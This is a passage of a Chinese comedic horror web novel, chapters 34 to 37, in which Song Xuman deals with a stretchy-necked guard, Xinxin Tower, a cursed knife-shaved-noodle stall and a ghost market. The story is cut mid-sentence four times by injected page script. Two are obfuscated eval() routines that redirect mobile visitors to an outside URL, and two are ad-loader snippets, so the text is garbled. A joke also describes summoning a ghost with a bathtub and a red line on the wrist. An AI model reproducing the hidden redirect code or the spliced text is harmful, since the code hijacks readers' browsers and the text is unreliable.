叶詺脸都要憋绿了,还在努力挤出字词:“我们……当然是……走进来的……” 宋须满拿着大饼就朝那长长的脖子上砸去,这里看起来是最脆弱的地方,很有可能是弱点! 可惜那大饼狠狠砸下去后,却陷进了脖子之中,它有点像橡皮糖,或者是拉面那样的东西,在裹挟着大饼向下凹陷之后狠狠将大饼弹出。 大饼化作一颗逆飞的流星, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722272|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失在黑夜之中。宋须满隐隐约约听到一声:“我一定会回来的!”也许是听错了…… 宋须满眼睁睁看着这一切的发生,她无能为力、无可奈何、无可救药……才怪! 她又掏出一个大饼,迅速转换了目标。 朝着那人头砸去。 “咣——”人头到底不比脖子,大饼结结实实砸到了他头上,宋须满捕捉到了一丝微弱的“咔嚓”声。 人头的脖子松开了叶詺,迅速朝着黑暗中缩回去,叶詺捂着脖子难耐地咳嗽。 不过多时,走出一个穿着保安服的人。 正是之前那个人头,他愤怒地盯着宋须满:“擅闯小区还袭击保安!罪加一等!” “等等!我有话要说。”宋须满在保安将头伸向她时,打了个暂停的手势。 如果说在掏耳朵时别人不能靠近你,那么按理来说在打暂停手势时别人也不能行动。 “你怎么知道我们不是这个小区的住户?”宋须满理直气壮地指责他,好像她真的是这个小区的住户,“作为保安却认不出业主,你这也太没有职业道德了!” 保安的脖子要伸不伸的,他似乎在回忆些什么,现场一时有些尴尬。 “那你说,我们小区的名字叫什么?”他似乎想到了一个绝妙的验证办法。 但是他不知道的是,宋须满也从江涛那学到了绝妙的应对方法:“我们是刚搬进来的,刚刚被你吓了一跳,现在把小区的名字都忘了。” 宋须满上前一步抓住他冰凉的手:“小王啊,记不住业主不是什么大事,只要你好好干!未来一定能升职加薪!你满意你看到的工资吗?!你甘心吗?!” 保安冷冷的内心突然被一阵热流淹没,他腐朽的胸腔燃起熊熊烈火:“好的长官!” 虽然他不姓王,但是已经很久很久,没有这种激情了。 虽然他不姓王,但是怎么不行呢?万一是他自己记错了呢? 这,就是画大饼的威力! 保安恭恭敬敬送两人出小区:“二位尊敬的业主请慢走!” 宋须满走之前还不忘给他画个大饼:“非常有精神!请继续保持。” 叶詺在一旁看得目瞪口呆,怎么她还会口头画大饼呢? … 宋须满想使用冥享单车去鑫鑫大厦,可当她将冥币塞进投币口时,冥享单车却发出了警报。 宋须满:? 叶詺看着她茫然的脸:“你是不是忘记了,那辆失去轮子的冥享单车。” 宋须满恍然大悟:“就该叫那小子赔!报警抓他真是亏惨了。现在我被冥享单车通缉了,怎么办?” 怎么办呢? 坐在冥享单车屁股上的一条杠上根本不能称之为座椅的叶詺流下了凄惨的泪水。 宋须满骑着本属于叶詺的冥享单车,回头看见叶詺泪眼汪汪,她安慰道:“没事哒没事哒,不要太感动了。” 叶詺并没有因为她的安慰而好一些,他的脸色突然变得惊恐,他瞪大的瞳孔中迸发出光彩:“姐!你快看路啊!” 宋须满回过头,哦吼,一辆电动小黄车正亮着灯朝着他们飞驰而来。 34. 深夜小吃街(十四) “嘭——” 冥享单车和小黄车结结实实来了个亲密接触,甚至是负距离。足以见它们之间的亲密。 小黄车上的人、宋须满和叶詺齐齐飞了出去。 在三人一起在空中体验短暂飞行的时候,他们在想些什么呢? 是在想短暂飞翔的体验真好,还是在想并不在现场的副本任务呢? 不知道另外两人是怎么想的,反正宋须满想的是,这感觉是不是有点熟悉? 小黄车后座上箱子里的噼里啪啦滚落出来,撒了一地。 霸道的香气在空中弥漫,甚至能从中分辨出烧烤和麻辣烫的香气。不愧是美食中的战斗机! 冥享单车的一个轮子孤零零跌跌撞撞滑到一旁。碰到其中一个东西,晃了几下,终于倒了下去。 戴着黄色头盔的人坐在地上,修长的人影捂着腰呲牙咧嘴。 小黄车的车灯将这里照得很亮,亮得足已看清所有人发光的面庞。 那人突然一个鲤鱼打挺冲了过来:“宋须满?” 宋须满惊了一下,仔细端详他的脸,一个鲤鱼打挺没站起来:“林归云?” 捂着屁股的叶詺看着林归云的脸,他没有鲤鱼打挺,但是叫出了声:“是你?” 这不就是他来到副本以后发展的第一个客户大哥吗?是命运让他们在此相聚!虽然有点不是很和谐。 叶詺记得他选择的工作貌似是外卖员。 少年微凉的手触碰着宋须满的掌心,将没能鲤鱼打挺成功的宋须满一把拉了起来。 “自从进了副本我就没看见你,你没事真的太好了!”林归云的语气中不无激动。 叶詺像幽灵一样缓缓靠近:“你们认识?” 林归云转头看他:“当然,我们可熟了。” 他突然像是想起了什么,疯狂点着手机:“不好了,我的外卖要超时了!先走一步!” 但当看到满地破碎的外卖时,林归云的心也随之破碎一地。 “看来要回去重新取餐了。下次不要逆行了!”他嘱咐道,便骑着小黄车风风火火地折返了。 看来这外卖员还真是不好做啊。 “我们逆行了吗?”宋须满茫然地看着地上少了一个轮子的冥享单车。 叶詺往车道上看了一下,得出了一个令宋须满心碎的结论:“好像是……” 随即,他的眼神也落到少了一个轮子的冥享单车身上,得出了一个更坏的结论:“现在我好像也要被冥享单车通缉了。” … 两个冥享单车的通缉犯站在一起,看着满地狼藉。 宋须满试探开口:“你有没有那种道具,就是那种……” “没有!”叶詺还沉浸在即将要被冥享单车通缉的痛苦之中。 “我还没说呢!就是可以传送的道具。早知道叫林归云帮忙搞个冥享单车了……”宋须满嘟囔着。 “你以为我是百宝箱啊?哆啦A梦都没我能掏?”不过他也确实没说谎,传送类的道具那可是有价无市,非常难得,他一个小小的商人哪有那实力。 不过要他说,宋须满的骑冥享单车的能力真是太糟糕了。 简直比他隔壁王奶奶家三岁的孙子都差劲。 宋须满还打算和叶詺好好掰扯一下,一道刺眼的灯光照得她眼前一白。 由于眼睛突然从暗处进入亮处,需要进行一段时间的明适应,所以宋须满难耐地微眯着眼。 等到能够完全睁开眼,伴随着一道有些许熟悉的声音,出现在她面前的,是一辆大红色的跑车。 居然还是最新款的XXXX牌!这车宋须满只敢在网上看看这样的,但是现在出现在她面前的,这可是活的XXXX牌跑车诶! “问题指导师?你怎么在这里?”车窗缓缓降下,露出一张妆容精致的脸。 宋须满稍稍回忆了一下,有点像那个被ppt了的红衣女鬼。 上次她来问题咨询情感问题,一把鼻涕一把泪,宋须满几乎都看不清她的面庞。 她试探地开口:“ppt女士?” 红衣女鬼一瞬间从车上跳了下来,不,现在应该叫她彩衣女鬼了,因为她穿了一件五彩斑斓的黑衣服。 彩衣女鬼激动地握着宋须满的手上下疯狂摇晃:“还得是你啊大师,自从把他踹了之后,我才知道什么才是人……鬼过的生活!” 宋须满欣慰地看着容光焕发的女鬼:“你可太争气了,不枉我苦口婆心。” “大师你这是怎么了?”女鬼惊讶地指着地上少了一个轮子的冥享单车,“该不会是……” 宋须满急忙摇头,义愤填膺:“不是我!也不知道哪个缺德的把冥享单车搞坏了!” 彩衣女鬼一脸鄙夷地看着叶詺,意有所指:“大师,男人可真是没用的东西!” 叶詺水灵灵地被鄙夷了,但是他不敢说话。 这位女鬼姐姐一看就处于对男人非常愤怒的状态,要是他敢还嘴,后果不堪设想啊…… “我们想去鑫鑫大厦,你可以载我们一程吗?”宋须满机灵的小脑瓜“叮”的一声冒出了一个闪耀的灯泡。 “当然可以!”女鬼受宠若惊。 “不过他。”女鬼指着叶詺,冷漠得就像北极的冰川,“他只能坐后座。” “而你,我亲爱的问题指导师!你可以坐我的副驾!”她热情得像即将要喷发的火山。 这一冷一热的对比让宋须满真切地体会到了被偏爱的感觉。 宋须满受宠若惊,叶詺看着她们两个都在受宠若惊,原来受伤的只有他一个人。 大红色的跑车在车道上飞驰,窗外的景色糊成一片。 “大师,你要去鑫鑫大厦做什么?那儿可不是个好地方。”窗外的风挤进车窗,女鬼身上五彩斑斓的黑衣波光粼粼。 “为什么不是好地方?那条小吃街不就是鑫鑫大厦推出的吗?他们还给50万奖金。” 女鬼嗤笑一声:“表面功夫做得再好,终究也是假的。就像男人一样,表面上看起来再好,内里也是烂的!” “鑫鑫大厦是给了那些人50万奖金,真是笑死了,难道他们是做慈善的吗?”女鬼飞速地进行了一个大的漂移,“摊位费和分成迟早能让那些人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730202|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把吃进去的钱吐出来。” “到了大师!有事随时联系我,我冥系方式是,找个浴缸放满水,在手腕处画一道红色的痕迹,我就会出来!”女鬼对着她wink了一下,大红色的跑车闪电一样飞走了。 宋须满感动极了:“她真好!” 叶詺脸色苍白,看起来脆弱无助又可怜:“天杀的,后排没有安全带,谁知道我是怎么挺过来的……” 整整七个大漂移,五个急刹车,六次突然鸣笛……叶詺觉得此刻能活着走下车真是算他命大。 宋须满看起来元气满满,谁让她有安全带呢?她甚至还有靠背和坐垫。 她此刻正看着亮如白昼的鑫鑫大厦,光鲜亮丽的大楼啊,你的内里,是否也像外表那样没有污点呢? “您好,欢迎来到鑫鑫大厦……”机器人语调平缓,完全看不出来它在内心尖叫。 怎么又是她? “我要见你领导,快点!”宋须满拍着前台的桌子,看起来很不好惹的样子。 “好的,这边将会记录一下,会尽快上报的,请耐心等待。”嘻嘻,不会记录的,等一辈子吧!(^^) “要多久呢?”终于追上宋须满的叶詺问道。 “这边也不确定呢?会尽快哦,请耐心等待。”嘻嘻,不会上报的,等一辈子吧!(^^) 机器人还在为宋须满即将等一辈子消息也等不到的场景幸灾乐祸。 下一秒,一个冰冰凉凉硬硬的东西抵在了他超时代最新款超合金镶砖镶金外壳上。 “我就没有见过你这么没用的前台!三秒内,联系你们领导!”宋须满的脸就和她抵在机器人外壳上的大饼一样冰冷。 机器人汗流浃背了,虽然它没有汗,但是它有最最最先进的情绪感知系统,它知道,眼前的少女说的都是真的! 要是它不立马联系领导,接下来领导就要捧着它的一地碎片后悔地哭泣了。 “好的尊敬的来客,领导将在100-8848等待你们。”机器人迅速报出了一串话,好像这话烫嘴似的,它简直可以原地报名参加rap节目。 金碧辉煌的电梯门缓缓打开,就像领导者对他们伸出的邀请的手。 这电梯还怪高级嘞,居然是360?全景的。 视野越来越开阔,甚至能看到远处小吃街淡淡的光。 “叮咚~”电梯已经到了100层,走过奢华又低调的红地毯,尽头是纯金的大门。 叶詺忍不住吐槽道:“怎么会有人每天上班走红毯的?全是金子,一股子暴发户的味道。” 察觉到有人靠近,纯金的自动感应大门缓缓打开了。 水晶吊灯折射出的璀璨光彩印在地上,尽享奢华。屋子里的一切都是纯金的,闪闪发亮。 叶詺深深吸了口气:“真是金钱的味道啊。” 纯金办公桌后,一个模糊的背影坐在那。 等等,这个背影…… 宋须满感觉有点熟悉,在哪见过呢? 椅子缓缓旋转,那人站了起来:“好久不见。” 是没想到的面庞呢。 35. 深夜小吃街(十五) “满姐,你觉得这个提议怎么样?”叶詺的话语宛若拨开迷雾的钟声。 宋须满混沌的大脑在一瞬间变得清醒,她猛然发现此刻二人,正站在纯金的大门外。 宋须满隐隐约约记得刚刚似乎是进了大门,她看见一个背影,那人说知道他们的来意,要放了吴游可以。 但需要宋须满的大饼摊也入驻小吃街。 这些都是她记忆中的内容,仅仅只是存在于记忆中,她对此并没有亲身经历过的实感。 叶詺没有听到宋须满的回答,他歪头疑惑地看她。 “你记得那个人的脸吗?”宋须满没有给出回答,反而问了个风马不相及的问题。 叶詺愣了一下,皱着眉头回忆:“奇怪,我怎么想不起来了。” 果然不是她的问题,宋须满的视线转向纯金大门,一定是它的问题。 “我觉得这个提议不行。”宋须满终于回答了叶詺的第一个问题,她对此表示强烈反对。 深夜小吃街一看就很有问题,要是她就这么入驻了,岂不是天大的傻子。 “可是……”叶詺有些踌躇,“可是你已经签了合同啊!” 啊? 宋须满快要裂开了,什么叫她已经签了合同了? 叶詺指着大门:“就刚刚在里面纯金的办公桌上用纯金的笔签的,你签得可爽快了,拦都拦不住……” 其实吧,宋须满觉得裂开也没什么不好,毕竟这样就有两个宋须满同时进行问题指导了,效率直接提升100%! 要是再裂一次的话,就有四个宋须满了! 到时候一个摊大饼,一个问题指导,一个帮助吴游做任务,一个帮助林归云做任务。 要是再再裂一次,那么就有八个宋须满…… 简直完美……个头啊! 现在的她,就是那个签了合同的天大的傻子。 “所以我现在,正式入驻小吃街了?”宋须满不死心地问道。 “对。”叶詺毫朝着电梯走去,“吴游还在一楼等我们,那人说直接算他完成工作了……” … 吴游正站在前台机器人面前等待着二人,机器人突然向外以百米冲刺的速度滑行了整整30米! 吴游:? 这机器人刚刚还是一动不动的,怎么突然以百米冲刺的速度飞出去了? “叮咚~”电梯门缓缓打开,走出来一个宋须满和一个叶詺。 此刻吴游也不管什么机器人不机器人的了,他直直朝着两人冲了过去。在副本里见到玩家,特别是在这种场景下,那可是堪比见到亲人啊! 宋须满往旁边退了一步,看到距离她整整50米的机器人,不屑地笑了一声。 区区机器人,怎么能和她的大饼相提并论! “吴大哥,你还好吗?”叶詺却没有躲,他抓着吴游的手,又向他塞了张小广告。 “非常好!系统已经判定我完成任务了,接下来是要去小吃街消费……唉,我怎么知道哪个摊位是我应该消费的?” 宋须满的内心已经有了答案:“我知道,和我们走吧。” … 刀刀刀削面的摊位前少了一些人,但依旧把摊位围得水泄不通。 “就是这吗?”吴游迷茫地看着人群。 宋须满丢给他一个坚定的眼神:“不过这里人太多了,得想个法子……” 叶詺接收到宋须满奇怪的眼神,他双手抱胸:“你想干什么?” 宋须满招招手,示意他低下身来。 温热的吐息喷洒在叶詺的耳侧,他感到耳根处有点热。 “你先这样……在那样……最后这样……明白了吗?”湿热的吐息不再,宋须满移开了脸,用清澈的眼睛看着他。 “明白了。”叶詺呆呆地回应。 然后他同手同脚朝着一个方向去了。 吴游见他们讲悄悄话,也不知道发生了什么,他疑惑道:“他顺拐着要去哪?” 很快,他的疑惑得到了解答。 “免费送最新版XX手机!先到先得,后到后悔一辈子!免费送……” 喇叭中传来有些失真但明显能听出来是叶詺的声音。 接着有一个人跑了过来,是叶詺,他挥舞着双手大喝一声:“嘿!” 直到吸引了所有人的目光,他激动得脸都红了:“那边免费送XX手机,是真的,我不是托!我真的不是托!我拿到了!” 周围的人一哄而散,争先恐后地朝着叶詺跑来的方向跑去。 这一周一次的刀削面固然好吃,但是一生也许只有一次的免费XX手机明显更香! 人群散去,冒着腾腾热气的刀削面摊出现在三人眼前。 直到走进,宋须满才发现她第一次隔着人群看到的那个手臂粗的柱状体是什么。 摊主对顾客全跑了没有一点反应,他沉浸在自己的世界里。左手持刀,沉默地将放在案板上白白花花的柱状体一片一片削下来。 那柱状体其实看起来还算正常,但是其中一端连着一个青筋暴起的手,五指粗长,布满了老茧。 原来这是一只手臂。 从体型上来看,应当就是刀削面摊主的。 吴游哆哆嗦嗦地看了宋须满一眼。 宋须满给了他一个肯定的眼神。 吴游视死如归:“一份刀削面。” “4000。”摊主的声音嘶哑,让人想起粗粝的砂纸。 吴游不敢多问,面对虽然和他一样少了一只手臂但却高大健硕的摊主,他不敢说话。 吴游将刚到手的工资轻轻放在桌上,摊主撇了一眼冥币,将从手臂上刚刚削下来的白花花的几片肉,放进了冒着蒸汽的锅里。 在肉下锅的一瞬间,锅中冒出的蒸汽铺天盖地向三人袭来。 即使早有准备,但宋须满提防的是案板上的那只手臂啊! 谁能想到袭击人的居然是蒸汽! 扑面而来的热气让人怀疑自己就是锅里的食材,宋须满难耐地背过身。 一只手臂轻轻拍着她的肩膀,说出的话却是如此沉重:“小吴啊,虽然你失去了一只手。但保护居民是你的本职工作,有几个居民受了重伤,要求赔偿啊……” “您是说,这些赔偿需要我来?”世界如此荒谬,不找犯罪者,却找他一个小小打工人。 “那有什么办法,那人有精神病。鑫鑫大厦那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 边要求你给个解释。”这是鑫鑫大厦的产业,他是知道的。 不然也不会选择这里,在著名企业的手底下工作,总该有点保障吧。没想到这一时之念,竟然将他引向万劫不复之地。 “鑫鑫大厦有的是力气和手段……法律也保不了你。”保安队长加重了手上的力道,警告着他。 总要有人为这次事件负责,一个无权无势的小保安,是最合适的人选。 凭什么?当时你明明也在值班,甚至在巡逻时间去偷窥女业主。 明明你才是玩忽职守之人,我奋力抵抗歹徒,甚至失去了一只手。 为什么什么罪责都往我身上推。 但是他说不出口,所有人都比他有权势,他什么也拿不出来。 他被辞退了,没了一只手,什么工作也做不好,只能去街上翻垃圾桶。 但是没有了一只手,就连翻垃圾桶都比其他人翻得慢。 鑫鑫大厦最终还是找到了他,他狼狈地被人像个垃圾一样丢在地上。 “要么因为拿不出赔偿被人唾弃至死,要么……” 网上铺天盖地全是讨伐他的声音,说他作为保安却无所作为,放任歹徒进入小区。 说他害得居民受伤,还心安理得地不赔偿一分钱。 鑫鑫大厦引导的舆论将他塑造成了一个实实在在的反面角色。 一张传单狠狠砸在他身上,一张轻飘飘的传单能有多重呢?不过是将他的心脏砸了个窟窿而已。 无神的眼神落在“50万上,他的人生原来从很早以前就已经没有选择了。 … 又是一阵湿热的雾气,刀削面出锅了。 吴游单手捧着那刀削面,看着碗中或漂浮或沉底的白花花的东西,手足无措。 【玩家[拳头雕花]已达成通关条件,可在副本时限之前随时脱离副本。】 吴游惊呆了:“就这么简单?” 宋须满和叶詺也惊呆了:“就这么简单?” 这次的boss居然没有为难他们。 某不知名只知姓的吴姓刀削面摊主已经开始收拾摊位了。 他收拾得很快,没过三分钟,人就走了。 宋须满看着他空荡荡的右袖管,难道是因为看吴游也少了一只手臂吗? 而且他那么快走,好像在逃避什么似的。 事情绝对没有这么简单,这背后必有隐情! 宋须满全力调动着脑细胞,但她总感觉一股躁动打扰了她的思考。 难不成是叶詺在捣鼓什么,宋须满转头正要教训教训他。 没想到她看见了…… 一群人正疯狂叫喊着向这边冲过来,通过越来越近的人群,宋须满勉强从杂糅着的声音中分辨出一些词句。 “骗子!哪里有最新款的XX手机!” “刀刀刀削面走了!这都是他们的阴谋诡计!” “还我刀削面!” 叶詺听到震天的脚步声,早已回过头,他无力地辩解道:“有个人胡说八道,我没说是最新款的!” 完了,宋须满心想。 她好像突然有点明白某刀削面摊主为啥突然三倍速收拾摊位跑了。 36. 深夜小吃街(十六) “愣着干什么,快跑啊!”吴游将手中的刀削面抛向黑压压的愤怒人群。 他的右手已经在刀削面摊主跑路的时候自己长出来了。 于是他一手拽着叶詺,一手拉着宋须满疯狂地跑。 跑在前面的人闻着刀削面的香气,争先恐后去争抢吴游抛出来的刀削面。 “这刀削面是我先看到的!” “是我先碰到的!” “我先闻到的!” 前面的人群停下来,后面的人群没法前进,后方的人迷惑地问:“怎么停下了?” 而前方的战况正在白热化。 … 别看吴游表面上看起来一点都不瘦弱,其实他真的非常壮啊。 宋须满感觉自己就快要飞起来了,她艰难地回头,没有看见有人追上来。 冷冷的大风在她脸上胡乱地拍,同时将她的声音吹得七零八落:“吴大哥!别跑了!” 没有人理她,就连一向聒噪的叶詺都没有吭声。 宋须满又艰难地朝右边看去。 叶詺耷拉着脑袋,腿在地上拖着,看起来已经半死不活了。 宋须满:! 她狠狠掐了吴游的手一下:“叶詺要去世啦!” 吴游终于停下了脚步,闻言,他惊恐地看着叶詺。随即放开宋须满的手,双手疯狂地摇晃叶詺。 叶詺的眼睛眯成一条缝,他很大声地“yue”了一下。 “我以为我只是晕车,没想到我还晕人啊……”他虚弱地流下了眼泪。 谁知道,这一路上的颠簸,究竟有多像那五彩斑斓的黑衣女鬼开的车。 发现没有人追上来这个事实之后,吴游尴尬地对二人笑笑:“不好意思啊。” 宋须满知道他也是好心,很大度地替叶詺原谅了他。 吴游要退出副本了,他向二人告别:“多谢了!希望能活着见到二位。” 这话说的很有意思,一种意思是希望自己能活着见到二位,另一种是希望能见到活着的二位。 宋须满朝他挥挥手,吴游原地退出了游戏。 宋须满搀扶着柔弱的叶詺向着大饼摊走去。虽然叶詺说她的大饼摊已经正式入驻小吃一条街了。 但是不论如何,还是要继续营业的。 … 宋须满一眼就能看出来,三轮车上高高挂着的价目表变得有些不一样了。 [鸡蛋灌饼44元]就这么水灵灵地出现在现有价目表的最后一行。 三轮车旁凭空出现了一筐鸡蛋。 一只冰凉的手爬上了宋须满的小臂,她一哆嗦差点把挂在她身上的叶詺给丢了。 “大师!我想知道,她对我是不是有意思!” 原来是个来咨询问题的男鬼。 宋须满指着大牌子:“看到了吗?” 「买大饼送免费问题指导」 男鬼焦急地点头,将一百冥币塞进宋须满的手中。 “我很急,大师!”他眼含热泪看着宋须满,又塞了一百。 宋须满表面淡定内心狂喜,她将叶詺扔在大饼摊后面,在问题指导的招牌后面坐定,她故作高深:“看在你如此虔诚的份上,就勉强为你破例一次吧。” 男鬼面色羞红地坐下:“大师,今早我给她发了个早安[玫瑰]的表情,结果她给我回了个‘你烦不烦啊’,这是对我有意思吧?不然她怎么会关心我的心理状态?!” “还有还有,我们第一次见面的时候,恰好一阵微风吹来,她在我面前不断捋头发,这不是对我有意思是什么?!” “主要是像我这么优秀的男鬼实在是很少见了,真是打着灯笼都找不着。很难不怀疑她喜欢我。” “毕竟女鬼大了就嫁不出去了,而我们男鬼,越老越吃香!” 眼见话题从“她是不是有意思”转向“我这么优秀的男鬼”。 宋须满:Σ(°△°|||)︴ 怎么会有人,可以那么普通,却那么自信呢? 这就是传说中的普信鬼吗? 男鬼突然站了起来,做了个投篮的动作,他得意洋洋:“大师你也对我有意思吧?刚刚还为我破例了。” 宋须满很想打死接这一单的自己,但是看着手里的两百冥币,她妥协了。 即使她的头颅在生活的重压之下低下了,但是精神的头颅永远高昂! 宋须满低着头不看他,主要是怕被污蔑:“有没有一种可能,人家对你其实没有意思。捋头发只是散头发女生的一个常见的操作罢了。” “不!这不可能!”男鬼重重跌在椅子上,“我的价值远比她高得多。” “虽然她有编制(指每天从床下爬出来吓人)并且有车有房(靠自己努力赚的),甚至针对‘如何更好地吓人’发表了论文(鬼界顶刊)。但是我可是男士啊!” “从小所有人都告诉我,男的越老越吃香,现今我已经快要八百大寿了……” 宋须满不想和他争辩:“啊对对对,你越老越吃香,去一旁吃着吧,或许你可以抱个老头一起香上加香。” “这边给出的建议就是请你去找个男士,回答完毕!下一位。”宋须满高声喊着。 在男鬼占用的这么多时间里,已经有不少人来排队了。 男鬼嘀咕着:“对啊,找个男的,找个男的……”就走了,他好像真的听进去了。 这何尝不是一种好事呢? 下一位冲上来就用冰冰凉凉的手握住了宋须满。 “女鬼实在是太物质了!这个世界上,到底有没有单纯善良美好如栀子花的女鬼啊?!” “我在后面听到了,上个兄弟做出的选择我实在不敢苟同,传统观念来说,还是要找个女鬼结婚生鬼的。” “我洁白纯净的茉莉花到底在哪?” 宋须满:Σ(°△°|||)︴ 今天来的都是些什么东西啊?如果她犯了天条,请让副本自己惩罚她,而不是派这些东西来恶心她。 “现在的女鬼出门都要点一杯冥茶,甚至高达4冥币!更有甚者会点一杯冥啡,那可是高达几十冥币!吃饭甚至还要吃冥堡!我看着真是心痛。” “你为什么心痛呢?”宋须满才应该心痛吧,她宁愿碰到那个蹦蹦跳跳毁了她大饼摊第一批顾客的僵尸。 “她们不知道吗?她们花的都是以后鬼公的钱!”男鬼愤愤不平,像是个为了什么社会上存在的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不平而愤怒的正义之人。 或许他就是这么想象自己的。 宋须满真想一大饼砸他头上,然后叫他拱得圆圆的。 但是周围还有那么多人,所以她克制住了。 “有没有可能,那就是人家自己的钱,不要对其他人的钱有那么强的占有欲。” “实话和你说吧,像你这样的……”宋须满凝视着他,就像他凝视那些女鬼一样。 她轻声说:“这辈子不可能结婚生鬼哦穷鬼。下一个!” 宋须满加重了最后三个字的音量,确保后一位能准确听到。 男鬼却瞬间暴起,对于他来说,这是极大的侮辱,他将手放在桌子下,就要将桌子掀翻。 宋须满注视着他的动作,很好,桌脚脱离了地板。 她古怪一笑,掏出了大饼。 下一秒,即将要倾倒的桌子被大饼狠狠砸了一下,迅速回归原位,甚至往下嵌了几厘米。 男鬼大叫一声,他的小臂被桌子边重重砸了一下。 “大家可看好了,是他先动手的!”宋须满指着男鬼,随即拿起桌上的大饼…… 男鬼是鼻青脸肿屁滚尿流地跑走的,宋须满擦拭着大饼:“破防鬼。” 下一位蹦蹦跳跳来了。 宋须满狠狠打了一下自己的嘴巴,真是乌鸦嘴,说什么来什么。 熟悉面孔上下摇晃:“鬼市,鬼市,要开,十分钟。” “请问您有什么问题吗?”宋须满礼貌微笑,暂时装一下那个机器人吧。 “快了,求助。” “听不懂呢,您的问题将会被记录下来,请先回去等待。”这辈子都不会记录的。 “什么鬼市?”围着围裙的叶詺悄无声息出现在宋须满身后,把她吓了一跳。 僵尸僵硬地抬起手指向一个黑不见底的地方。 那是……缺了井盖的井? 反正从宋须满现在这个角度看过去,是的。 叶詺明显很感兴趣,他成功搅乱了宋须满伪装机器人的绝妙办法。 或许是商人对这种市场都很感兴趣? 叶詺一连抛出好几个问题,僵尸本就僵硬的大脑更是不会转了,他像卡了一样在原地僵硬摇摆。 看着还有点令人上头,这就是鬼界社会摇的威力! “满姐~”叶詺做出可怜的表情,他什么意思不言而喻。 宋须满视而不见:“这边会记录下来的,请回去等候哟。” 看来她是打算装机器人装到底了。 这时,正在社会摇的僵尸停了下来,他在兜里掏着什么,就连机器人宋须满都被他吸引了目光。 他从兜里掏出厚厚一叠纸币,宋须满定睛一看,原来是冥币。 什么?!居然是那么厚一叠冥币。 僵尸很大气地将冥币全部甩在桌上,颇有一种大佬的气势。 “鬼市,走。” 【营业额+10000】 宋须满眼珠子都要掉出来了,这位贵宾在她心目中的形象变得高大起来。 她迅速切换成正常人的状态:“好嘞,贵宾您请带路嘞。” 叶詺:这好像也不是正常人的状态啊…… 37. 深夜小吃街(十七) 宋须满看着深不见底貌似还被人偷了井盖的井,嘴角抽了抽:“你是说,我们要跳进去?” 僵尸点点头,给出了超越言语的回答。 叶詺看着那漆黑一团,跃跃欲试,“咻”的一下,他跳进去了。 宋须满侧耳听了一会,没有听到类似于落地的声音。 这井究竟有多深?! 僵尸没有在意这一变故,他抬起头:“到了。” 宋须满下意识追随者他莫名其妙的视线。下一秒,强烈的失重感袭来。 随之而来的还有下水道粘腻的臭味和不断在她眼前刷新的长满青苔的井壁。 她被僵尸拉下去了!这何尝不是另类的“看!飞碟!” 宋须满已经在失重感中找到平衡了,适应任何事物点最好办法就是习惯。 因为她已经整整下降三十秒了! 在这三十秒里,她想过也许会摔死这种可能,她堂堂画大饼之神,摔死在这小小的阴暗的见不得光的井底! 这是多么丢脸的一件事。 好在她很快否定了这个想法,看了一眼距离她脚底不远处的僵尸。她想,如果真能摔死人,那最底下肯定有叶詺,再加上个僵尸,她也不至于被摔死吧。 飞速下降的失重感不断促使她分泌肾上腺激素,这使得时间在主观上变得很慢很慢。 她又想起了现在在她脚底一声不吭,甚至连气都不出的僵尸,害她经历这一切的罪魁祸首! 初次见面就吐槽她大饼,到后来死缠烂打讲着一些令人费解的字词。 不过她很快也否定了这个想法,主要是兜里沉甸甸的10000冥币实在是太有存在感了。 时间又过去了三十秒,已经一分钟了。 脚下传来“咚!”的声音,这声音短促而又清脆,宋须满知道,是僵尸落地了。 坏消息!她是被僵尸拉着跳下来的,二人之间的距离并不足以支撑僵尸走开留出空地给宋须满“降落”的设想。 所以…… “咚!咔嚓!咚!”宋须满砸到僵尸先生身上,僵尸先生由于躯体太过僵硬所以折了头颅,两人一起摔在地上。 宋须满急忙爬起来,看着僵尸向左歪了标准90?的头,她就要上手掰。 僵尸没有给她这个机会,因为他随手将头掰正。 “咔嚓!”像什么事都没发生一样,僵尸先生点点头:“走。” … 浓雾弥漫的神秘集市,这里并没有什么“正规”的摊位。 大多是一块布,将东西包着背过来放下,或卷起来收走,就像这些卖东西的人一样,与此地并没有什么很深的联系。 “买不买,不买滚。”人形的黑布中透出闷闷的声音。 这个金毛已经站在他面前拿着一个镯子看了很久了。 并且时不时发出聒噪的声音,他有点受不了了,毕竟那少年站在这,就和站了个大灯泡似的,害得其他人不敢靠近。 人形和黑布不知道的是,在叶詺的眼中,这并不只是个普通的镯子。 在镯子的旁边,出现了一个透明的版面: [镯:一个圆形的镯子,没有什么特别的……真的没有什么特别的吗?你再仔细看看,看看这流畅的弧形。当人类第一次用树枝在土地上画出一个“圆”,它终于有了意义。 品质:S 说明:在佩戴者周围生成一个圆形的结界,世界上一切有形或无形的物体(不包括空气)不得进入。持续时间一分钟。 预计可售卖价格:10000积分] 叶詺觉醒的能力和他的现有职业十分相称,只要他想,他就能看见每件道具可以卖出去的价格。 这当然是一件好事,为他的低买高卖事业做出巨大贡献。 